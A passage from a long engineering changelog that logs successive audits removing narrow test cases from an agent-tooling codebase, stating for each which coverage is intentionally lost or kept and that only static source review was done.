legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous account (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Independently remove one authored/finite Playwright closed-gate app-boot inventory: accept loss of real renderer/preload/main refusal composition, saved-host row and Add/Move hiding/Remove visibility alarms. Keep the unchanged scripted-move rendered dialog lifecycle/reload case. It runs no real WSL migration, host connection, file copy or automation restoration. No selector or Playwright participation cleanup is required because the spec remains. Previous account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read 